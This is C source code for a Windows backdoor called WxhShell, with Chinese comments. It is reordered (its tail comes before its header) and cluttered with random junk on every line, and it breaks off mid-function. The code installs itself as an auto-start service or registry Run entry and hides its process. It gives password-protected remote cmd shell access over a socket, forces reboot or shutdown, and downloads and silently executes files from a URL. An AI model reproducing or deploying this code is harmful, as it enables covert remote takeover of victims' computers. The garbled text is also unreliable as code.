    break; @$S+Ne[<  
    } S%bCyK%p  
  // 关机 & ?h#Z!  
  case 'd': { s.bc>E0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "-e \p lKj  
    if(Boot(SHUTDOWN)) G18F&c~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sqEI4~514  
    else { $?Yry. 2  
    closesocket(wsh); /oR0+sH]  
    ExitThread(0); 8ja$g,  
    } 7X0Lq}G@  
    break; %HGD;_bhI  
    } =XA;[PVx:#  
  // 获取shell GPkmf%FJ  
  case 's': { 2D75:@JL}|  
    CmdShell(wsh); xHL( !P F  
    closesocket(wsh); d"}k! 0m  
    ExitThread(0); d4u})  
    break; t2/#&J]  
  } 6IBgt!=,  
  // 退出 Yw4n-0g  
  case 'x': { 7mI:| G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D^yRaP*|7  
    CloseIt(wsh); =5J7Hw&K  
    break; e<3K;Q  
    } Lm*e5JnV  
  // 离开 F"&~*m^+  
  case 'q': { [B+yyBtx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E@@5BEB ~  
    closesocket(wsh); 'Y*E<6:  
    WSACleanup(); ',Y.v"']4  
    exit(1); H5DC[bZMb%  
    break; `|6'9  
        } WKC.$[ T=  
  } /(u}KMR!f  
  }  f\]sz?KY  
Z,sv9{4r  
  // 提示信息 -}nxJH)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VCY\be  
} 13=A  
  } (U&tt]|  
AJh w  
  return; "S8uoSF`>  
} vMA]j>>  
wN@oYFoL  
// shell模块句柄 2/vMoVT,  
int CmdShell(SOCKET sock) zz+$=(T:M  
{ KC/=TSSXd.  
STARTUPINFO si; -m)X]]~C  
ZeroMemory(&si,sizeof(si)); pOGeru u?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Sm}n H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  a][f  
PROCESS_INFORMATION ProcessInfo; *^g:P^4  
char cmdline[]="cmd"; )Q1"\\2j0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6g 5#TpCh  
  return 0; dCE0$3'5  
} $w)!3c4  
dYT%  
// 自身启动模式 >pU$wq|i  
int StartFromService(void) ~D<IB#C  
{ D&od?3}E  
typedef struct "U e. @>  
{ K~AR*1??[  
  DWORD ExitStatus; s %qF/70'  
  DWORD PebBaseAddress; tX5"UQA  
  DWORD AffinityMask; g l^<Q  
  DWORD BasePriority; -K q5i  
  ULONG UniqueProcessId; \#f <!R4  
  ULONG InheritedFromUniqueProcessId; k jg~n9#T  
}   PROCESS_BASIC_INFORMATION; D ~stM  
&,}j #3<  
PROCNTQSIP NtQueryInformationProcess; J#w J4!  
}T; P~aG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tu$f?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RP~|PtLw_  
tmv&U;0Z  
  HANDLE             hProcess; Fpm|_f7  
  PROCESS_BASIC_INFORMATION pbi; % 5m/  
qAAX;N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z>XrU>}  
  if(NULL == hInst ) return 0; =T -&j60  
Q3 u8bx|E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w\(.3W7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4.Q} 1%ZN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a2dnbfSWa[  
)[PtaPWeT  
  if (!NtQueryInformationProcess) return 0; G~Hzec{#tg  
eFaO7mz5V%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "]"|"0#i  
  if(!hProcess) return 0; W~zbm]  
TOkp%@9/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lhYe;b(  
IAw{P08+  
  CloseHandle(hProcess); kddZZA3`  
B P2=2)Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ka[t75~;  
if(hProcess==NULL) return 0; d*jMZ%@uS  
wj,:"ESb4  
HMODULE hMod; @CTgT-0!  
char procName[255]; Yn@lr6s  
unsigned long cbNeeded; MXw hxk#E  
b6Wqr/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); byLft 1  
oE+R3[D?r  
  CloseHandle(hProcess); 55tKTpV  
$* AYcy7  
if(strstr(procName,"services")) return 1; // 以服务启动 o$#G0}yn  
2>cGH7EBD  
  return 0; // 注册表启动 5 MN8D COF  
} +?:7O=Y  
#pb92kA'  
// 主模块 e4!:c^?  
int StartWxhshell(LPSTR lpCmdLine) X'd9[).  
{ O!P H&;H  
  SOCKET wsl; :<hXH^n  
BOOL val=TRUE; 6kNrYom  
  int port=0; {)BTR%t  
  struct sockaddr_in door; \MbB#  
>+JqA7K  
  if(wscfg.ws_autoins) Install(); }q $5ig  
;5zz<;Zy  
port=atoi(lpCmdLine); *VFf.aPwYi  
P>s[tM  
if(port<=0) port=wscfg.ws_port; t"= E^r  
2nSSF x r  
  WSADATA data; >33=<~#n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |$vX<. S  
g]4(g<:O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Db;yC&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ov-icDMm  
  door.sin_family = AF_INET; OW3sS+y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w2 a1mU/  
  door.sin_port = htons(port); @)|C/oA  
EB2w0a5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4)@mSSfn.  
closesocket(wsl); WU quN  
return 1; X $ s:>[H  
} t=Xv;=daB  
SZ,YS 4M  
  if(listen(wsl,2) == INVALID_SOCKET) { -=~| ."O  
closesocket(wsl); ~$)2s7 O  
return 1; Pb1*\+  
} VFRi1\G  
  Wxhshell(wsl); "JlpU-8[0@  
  WSACleanup(); sE:M@`2L  
`%+Wz0(K  
return 0; g/P+ZXJ  
-(  
} bYEy<7)x  
iV&6nh(  
// 以NT服务方式启动 x4E7X_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P*FMwrJj>r  
{ IF44F3(V4  
DWORD   status = 0; syaPpM Q-  
  DWORD   specificError = 0xfffffff; nm6h%}xND<  
~]nSSD)\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;1%-8f:lW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W3MU1gl6k{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kQEy#JQmB  
  serviceStatus.dwWin32ExitCode     = 0; tasUZ#\6  
  serviceStatus.dwServiceSpecificExitCode = 0; BW 4%l  
  serviceStatus.dwCheckPoint       = 0; 9{ >Ui  
  serviceStatus.dwWaitHint       = 0; .^h#_[dp  
U56G.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n ~shK<!C  
  if (hServiceStatusHandle==0) return; -'t)=YJ  
"Y~:|?(@-  
status = GetLastError(); IIn"=g=9  
  if (status!=NO_ERROR) G/7cK\^u  
{ IOqwCD[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uI1 q>[  
    serviceStatus.dwCheckPoint       = 0; XCU7x i$d  
    serviceStatus.dwWaitHint       = 0; w8U&ls1b  
    serviceStatus.dwWin32ExitCode     = status; 1Cgso`  
    serviceStatus.dwServiceSpecificExitCode = specificError; v^d]~ !h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CF?1R  
    return; (O.d>  
  } v7iuL6jl  
&e#~<Wm82  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jl#%uU/sx  
  serviceStatus.dwCheckPoint       = 0; 9 }PhN<Gd  
  serviceStatus.dwWaitHint       = 0; i*/Yz*<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D/vOs[X o,  
} NT e5  
5N/%v&1  
// 处理NT服务事件,比如:启动、停止 u~WVGjoQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EfCx`3~EX  
{ Hn5|B 3vN  
switch(fdwControl) @d mV  
{ Exc9` 7%.  
case SERVICE_CONTROL_STOP: ki?S~'a  
  serviceStatus.dwWin32ExitCode = 0; $W!!wN=B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *>n;SuT_  
  serviceStatus.dwCheckPoint   = 0; 6L"%e!be6  
  serviceStatus.dwWaitHint     = 0; Z0Vl+  
  { |mGFts}0o'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $}>+kHoT{  
  } M%2+y5  
  return; ?0v-qj+  
case SERVICE_CONTROL_PAUSE: NbgK@eV}+{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i{`FmrPO~  
  break; $a ]_w.@  
case SERVICE_CONTROL_CONTINUE: JM x>][xD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mID"^NOi#  
  break; 3?V_BUoON  
case SERVICE_CONTROL_INTERROGATE: c'%-jG)\  
  break; SYCEQ5 -  
}; _B/ dWA,P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YjxF}VI~<  
} ^c^#dpn  
Fcd3H$Na;  
// 标准应用程序主函数 ST:A<Da"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ju96#v+:  
{ ]rWgSID  
S|7!{}  
// 获取操作系统版本 Y }$/e  
OsIsNt=GetOsVer(); ow_W%I=6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {2=jAz'?  
A OISs4  
  // 从命令行安装 mH%yGBp_  
  if(strpbrk(lpCmdLine,"iI")) Install(); !F A]  
n `&/ D  
  // 下载执行文件 ==3dEJS  
if(wscfg.ws_downexe) { Tn*9lj4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pWK(z[D  
  WinExec(wscfg.ws_filenam,SW_HIDE); /& Jan:  
} HCyv]LR  
ts\5uiB<%  
if(!OsIsNt) { pEBM3r!X  
// 如果时win9x,隐藏进程并且设置为注册表启动 (tIo:j  
HideProc(); gy#/D& N[  
StartWxhshell(lpCmdLine); 3RYpJAH  
} u%}nw :>  
else e1%/26\  
  if(StartFromService()) tzZ`2pSh  
  // 以服务方式启动 &O9 |#YUq  
  StartServiceCtrlDispatcher(DispatchTable); H`1{_  
else W+UfGk}A  
  // 普通方式启动 6-z%633DL  
  StartWxhshell(lpCmdLine); xTj|dza  
=e9>FWf>  
return 0; v!<gY m&  
} 7"sD5N/>uh  
q8/MMKCbX  
t&H?\)!4  
5ymk\Lw  
=========================================== l_o@miG/  
}+.}J  
[x+FcXb  
+S>j0m<*  
Al}6q{E9+8  
`UD/}j@  
" /|tJ6T1LrB  
AK'[c+2[  
#include <stdio.h> Fq |Ni$  
#include <string.h> }=<  
#include <windows.h> YC++& Nk  
#include <winsock2.h> Z/k:~%|E  
#include <winsvc.h> kW;+|qs^  
#include <urlmon.h> #Y*X<L  
~Sj9GxTe  
#pragma comment (lib, "Ws2_32.lib") sDPs G5q<  
#pragma comment (lib, "urlmon.lib") |TS>h wkI  
'[AlhBX  
#define MAX_USER   100 // 最大客户端连接数 w>pq+og&  
#define BUF_SOCK   200 // sock buffer \-h%O jf4  
#define KEY_BUFF   255 // 输入 buffer `uOT+B%R  
\MyLc/Gh5  
#define REBOOT     0   // 重启 11o.c;  
#define SHUTDOWN   1   // 关机 vdAr|4^qB  
\.MR""@y`{  
#define DEF_PORT   5000 // 监听端口 `[f*Zv w  
L 6 c 40  
#define REG_LEN     16   // 注册表键长度 > V-A;S:  
#define SVC_LEN     80   // NT服务名长度 rDm~h~u5  
b*a#<K$T_  
// 从dll定义API t^+ik1.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  _zY# U9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _K]_ @Ivh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7j@Hs[ *  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t| g4m[kr  
C 3^JAP  
// wxhshell配置信息 -`'I{g&A  
struct WSCFG { R%{<mno/_  
  int ws_port;         // 监听端口 iW$_zgN  
  char ws_passstr[REG_LEN]; // 口令 d' !]ZWe  
  int ws_autoins;       // 安装标记, 1=yes 0=no RIlwdt  
  char ws_regname[REG_LEN]; // 注册表键名 ]~9t Y n  
  char ws_svcname[REG_LEN]; // 服务名 |Luqoa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3@kf@ Vf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bmr>n6|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uGwm r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6a[}'/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |:nn>E}ZA/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vr]id  
$Q&lSVQ  
}; \hTm)-FP  
mk;&yh  
// default Wxhshell configuration 4w*Skl=F}  
struct WSCFG wscfg={DEF_PORT, fz|cnU  
    "xuhuanlingzhe", IHB} `e|  
    1, XW[j!`nlk  
    "Wxhshell", `F-/QX[:  
    "Wxhshell", ;Y 00TGU  
            "WxhShell Service", 2^r <{0@n  
    "Wrsky Windows CmdShell Service", 6</xL9#/  
    "Please Input Your Password: ", wo4;n9@I  
  1, h{%nC>m;  
  "http://www.wrsky.com/wxhshell.exe", e^8 O_VB  
  "Wxhshell.exe" 7 uMd ZpD  
    }; E15vq6DKF  
j'HkBW:L  
// 消息定义模块 2$ !D* <  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2b=)6H1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jz:r7w{4eB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {kLGWbo|Q  
char *msg_ws_ext="\n\rExit."; mmEp'E  
char *msg_ws_end="\n\rQuit."; 3ta$L"a  
char *msg_ws_boot="\n\rReboot..."; ?-OPX_i_  
char *msg_ws_poff="\n\rShutdown..."; =s}Xy_+:  
char *msg_ws_down="\n\rSave to "; joa5|t!D9  
QM5 .f+/  
char *msg_ws_err="\n\rErr!"; Ch_xyuJ  
char *msg_ws_ok="\n\rOK!"; _P,^_%}V06  
Te{ *6-gO3  
char ExeFile[MAX_PATH]; BHj\G7,S  
int nUser = 0; B|%tE{F  
HANDLE handles[MAX_USER]; 02JoA+  
int OsIsNt; zTo8OPr  
~u&|G$1!0  
SERVICE_STATUS       serviceStatus; W~ULc 9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -$<O\5cAQ  
q (+ZwaV@  
// 函数声明 C+F*690h  
int Install(void); 4ZC!SgJo  
int Uninstall(void); 64j|}wJ$  
int DownloadFile(char *sURL, SOCKET wsh); hzY[ G :  
int Boot(int flag); sk2%  
void HideProc(void); Y'`"9Db  
int GetOsVer(void); .wK1El{bf  
int Wxhshell(SOCKET wsl); rS*$rQCr=  
void TalkWithClient(void *cs); 6+dn*_[Z6  
int CmdShell(SOCKET sock); "Vd_CO  
int StartFromService(void); 7m9 " 8   
int StartWxhshell(LPSTR lpCmdLine); O'NW Ebl/  
&hV Zx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !OcENV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Vd7V}t  
0{^H]Y  
// 数据结构和表定义 *~z#.63oZ  
SERVICE_TABLE_ENTRY DispatchTable[] = jU=<r  
{ *s)}Bj  
{wscfg.ws_svcname, NTServiceMain}, VjbG(nB?_  
{NULL, NULL} !:fv>FEI9  
}; Omag)U)IPh  
Zv qn%K],  
// 自我安装 beZ(o?uK  
int Install(void) Y:x/!-  
{ R9r+kj_  
  char svExeFile[MAX_PATH]; `_ (~ Ud  
  HKEY key; > %*B`oqo  
  strcpy(svExeFile,ExeFile); Vm8D"I5i  
lQ*eH10H  
// 如果是win9x系统,修改注册表设为自启动 dL;HV8z^  
if(!OsIsNt) { FN )d1q(~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (paf2F`~#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S7n"3.k  
  RegCloseKey(key); X)uDSI~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m-1?\bs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _MYx%Z  
  RegCloseKey(key); ;?IT)sNY  
  return 0; `Y3(~~YGn  
    } 8&}~'4[b[$  
  } xRDiRj  
} &K:' #[3V  
else { #iis/6"  
m/USC'U%  
// 如果是NT以上系统,安装为系统服务 tLX,+P2|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VRS 2cc  
if (schSCManager!=0) 9 Aivf+  
{ "dN < i  
  SC_HANDLE schService = CreateService r(uP!n1+  
  ( (;6s)z  
  schSCManager, ,9ml>ji`=  
  wscfg.ws_svcname, 73DlRt *  
  wscfg.ws_svcdisp, Li`hdrO'ii  
  SERVICE_ALL_ACCESS, ]TK=>;&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3n(*E_n  
  SERVICE_AUTO_START, t]m!ee8*X<  
  SERVICE_ERROR_NORMAL, ]b[,LwB\`~  
  svExeFile, rm+v(&  
  NULL, 85>S"%_  
  NULL, p$!@I  
  NULL, B.-A $/  
  NULL, {-*\w-~G  
  NULL W\ULUK  
  ); mf*Nr0L;J  
  if (schService!=0) R40W'N 1%q  
  { wz@FrRP=  
  CloseServiceHandle(schService); Y"> 4Qx4W  
  CloseServiceHandle(schSCManager); =Nl5{qYz^&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kEK[\f VE  
  strcat(svExeFile,wscfg.ws_svcname); ."JzDs   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :|XCnK0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` *9EKj  
  RegCloseKey(key); |Is'-g!  
  return 0; d7i#w #  
    } rycJyiw<-  
  } p~>_T7ze  
  CloseServiceHandle(schSCManager); +G!v!(Ob+  
} /"0as_L<  
} wr@GN8e`  
b:x7)$(  
return 1; }|He?[TR  
} w~v<v&  
0_V*B[V  
// 自我卸载 u[`v&e  
int Uninstall(void) i wz` x  
{  M]0^ind  
  HKEY key; nL;K|W  
XqFu(Lm8=  
if(!OsIsNt) { Rrz'(KSDw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U+!UL5k  
  RegDeleteValue(key,wscfg.ws_regname); wG:$6  
  RegCloseKey(key); UT-ewXh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pYGYy'%A'  
  RegDeleteValue(key,wscfg.ws_regname); FH -p!4+]  
  RegCloseKey(key); n8FT<pUq  
  return 0; 8dV=1O$ /  
  } q6)p*}-  
} b3^R,6]x&  
} (6#M9XL  
else { iQj2UTds3  
(1y='L2rj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p5qx=p~c  
if (schSCManager!=0) z[FI2jl  
{ 9 d] tjT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T+BIy|O  
  if (schService!=0) ![q }BU4  
  { @fDQ^ 4  
  if(DeleteService(schService)!=0) { NV(fN-L  
  CloseServiceHandle(schService); [#zE. TW  
  CloseServiceHandle(schSCManager); JB'qiuhab  
  return 0; <"NyC?b+G  
  } Uk"Y/Ddm  
  CloseServiceHandle(schService); 6 <r2*`  
  } 09x+Tko9;*  
  CloseServiceHandle(schSCManager); \vs%U}IrO  
} T"A^[ r*  
} t!l/`e%J  
<!hpfTz*  
return 1; <dJIq"){  
} y$v@wb5  
2:/u2K  
// 从指定url下载文件 7Ff?Ysr  
int DownloadFile(char *sURL, SOCKET wsh) Ahd\TH  
{ x{QBMe`  
  HRESULT hr; IE@ z@+\(  
char seps[]= "/"; I-,Xwj-  
char *token; ?V6 %>RU  
char *file; [M<{P5q  
char myURL[MAX_PATH]; (-#rFO5~l  
char myFILE[MAX_PATH]; dd19z%  
Vy&f"4~  
strcpy(myURL,sURL); WkcH5[  
  token=strtok(myURL,seps); 2Z-,c;21  
  while(token!=NULL) t0I>5#*WU  
  { lxCX-a`@p  
    file=token; zv|M*Wu  
  token=strtok(NULL,seps); b3P9Yoj-  
  } GW:\l~ d  
8_+vb#M  
GetCurrentDirectory(MAX_PATH,myFILE); rt,0j/o.1  
strcat(myFILE, "\\"); ^$8Vh =D  
strcat(myFILE, file); `Q+i-y  
  send(wsh,myFILE,strlen(myFILE),0); >9(7h&[Y  
send(wsh,"...",3,0);  =05iW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w64.R4e  
  if(hr==S_OK) A/ hpY a  
return 0; S]5VEn;pV  
else N!.kq4$.  
return 1; rSzQUn<  
jaL$LJV  
} X9z:D>   
@yCW8]  
// 系统电源模块 P7cge  
int Boot(int flag) % i %ew4  
{ %f>X-*}NI-  
  HANDLE hToken; 2z[r@}3  
  TOKEN_PRIVILEGES tkp; n=;';(wR[  
`X3Xz!  
  if(OsIsNt) { Rd .U;>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J.*[gt%O|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mQmBf|Rl  
    tkp.PrivilegeCount = 1;  W{L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;`;G/1]#9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z={D0`  
if(flag==REBOOT) { [..,(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xcAF  
  return 0; V@ LN 1|  
} `WP@ZSC6  
else { |R[v@c`pn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J2)-cY5G  
  return 0; d'x<- l9  
} xYT#!K1*  
  } &e/@yu)x,  
  else { AB/,S  
if(flag==REBOOT) { FGV}5L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 782[yLyv  
  return 0; s$js5 ou  
} 7=$+k]U8  
else { 4!NfQk>X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y] D7i?3N  
  return 0; 3D]2$a_d  
} Mp]yKl  
} 4jDs0Hn"  
uWJ#+XK.  
return 1; N8Rm})  
} L*kh?PS;  
1}i&HIr!b  
// win9x进程隐藏模块 Usa{J:  
void HideProc(void) Gr`MGQ,  
{ fF8a 1XV  
?7fQ1/emhO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <O <'1uO,  
  if ( hKernel != NULL ) 6ctHL<^  
  { a7XXhsZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xtu:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KK&<Vw|O\  
    FreeLibrary(hKernel); va`l*N5  
  } 3bT6W, J4T  
@Fm{6^  
return; < fojX\}3  
} Fw(b1d>E  
~rVKQ-+4&  
// 获取操作系统版本 &4w\6IR  
int GetOsVer(void) #i`A4D  
{ d,GtH)(s  
  OSVERSIONINFO winfo; [u`17hyX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o 2[vM$]  
  GetVersionEx(&winfo); z5|e\Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hLDch5J5~  
  return 1; n"^/UQ|#j  
  else CT$& zEIm  
  return 0; wGov|[X  
} dv1x 78xG>  
+cPE4(d  
// 客户端句柄模块 ,7n;|1`  
int Wxhshell(SOCKET wsl) >z fq*_  
{ s=\LewF1<  
  SOCKET wsh; >?\v@   
  struct sockaddr_in client; ? 6yF{!F*  
  DWORD myID; y V 9]_k  
Z@>=&  
  while(nUser<MAX_USER) 7- *( a  
{ }[=xe(4]D  
  int nSize=sizeof(client); I =tyQ`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'S%} ?#J  
  if(wsh==INVALID_SOCKET) return 1; [*Aqy76Qa  
Yj^avO=;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1sIy*z  
if(handles[nUser]==0) QK``tWLIg7  
  closesocket(wsh); &;~2sEo,  
else X]&;8  
  nUser++; RTPq8S"  
  }  uu WY4j6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t+W=2w&  
L5V'Sr  
  return 0; A4 A6F<  
} ] dm1Qm  
EMVoTW)z  
// 关闭 socket =ELDJt  
void CloseIt(SOCKET wsh) *MnG-\{j  
{ (dLE<\E  
closesocket(wsh);  BdE`p{  
nUser--; azR;*j8Q'  
ExitThread(0); QKUBh-QFK  
} @^y?Bh9jQ  
}ZM*[j  
// 客户端请求句柄 EL 8N[]RF  
void TalkWithClient(void *cs) [G'!`^V,  
{ pjKl)q  
[6&CloY3  
  SOCKET wsh=(SOCKET)cs; $$bTd3N+  
  char pwd[SVC_LEN]; qmue!Fv#g  
  char cmd[KEY_BUFF]; d0H  
char chr[1]; Z3abem<Q  
int i,j; p^4;fD  
/]MB6E7&  
  while (nUser < MAX_USER) { IQk#  
Q~b M  
if(wscfg.ws_passstr) { XRz%KVysp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D_ Bx>G9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O%fp;Y{`  
  //ZeroMemory(pwd,KEY_BUFF); |$SvD2^  
      i=0; 8}pcanPg  
  while(i<SVC_LEN) { ?5r2j3mqgv  
C<wj?!v,F[  
  // 设置超时 },Y; (n'  
  fd_set FdRead; (IWix){  
  struct timeval TimeOut; FVC2XxP  
  FD_ZERO(&FdRead); <*r<+S   
  FD_SET(wsh,&FdRead); }{kTh%^  
  TimeOut.tv_sec=8; aG8D%i0  
  TimeOut.tv_usec=0; q563,s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?2;n=&ZM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g~^{-6Vg  
pw<q?q%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [oU+b(  
  pwd=chr[0]; yf#%)-7(  
  if(chr[0]==0xd || chr[0]==0xa) { M::IE|h  
  pwd=0; u7Y'3x,`  
  break; Io4:$w  
  } ?lET45'  
  i++; G2yUuyAZ  
    } "{ry 9?z  
,@'){V  
  // 如果是非法用户,关闭 socket LD~uI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x@ s`;qz  
} n6!Ihip$  
ssr)f8R#,#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "$E!_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yd2qf  
|`(?<m  
while(1) { dE}b8|</  
Y="&|c=w#L  
  ZeroMemory(cmd,KEY_BUFF); fD#&:)  
]}l+ !NV<  
      // 自动支持客户端 telnet标准   D 5r   
  j=0; @;T #+!  
  while(j<KEY_BUFF) { U:P3Z3Y%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d-N"mI-  
  cmd[j]=chr[0]; gh #w%g1g  
  if(chr[0]==0xa || chr[0]==0xd) { 7 NB"oU^h%  
  cmd[j]=0; NKUI! [  
  break; $vGEY7,  
  } iq^L~RW5e  
  j++; o4[2`mT  
    } :{xN33@6\X  
MMA@J  
  // 下载文件 J2 rLsNC]0  
  if(strstr(cmd,"http://")) { =<'iLQb1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0rm;)[SjF  
  if(DownloadFile(cmd,wsh)) F;Xq:e8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Y.$wMB  
  else uQ%HLL-W/  
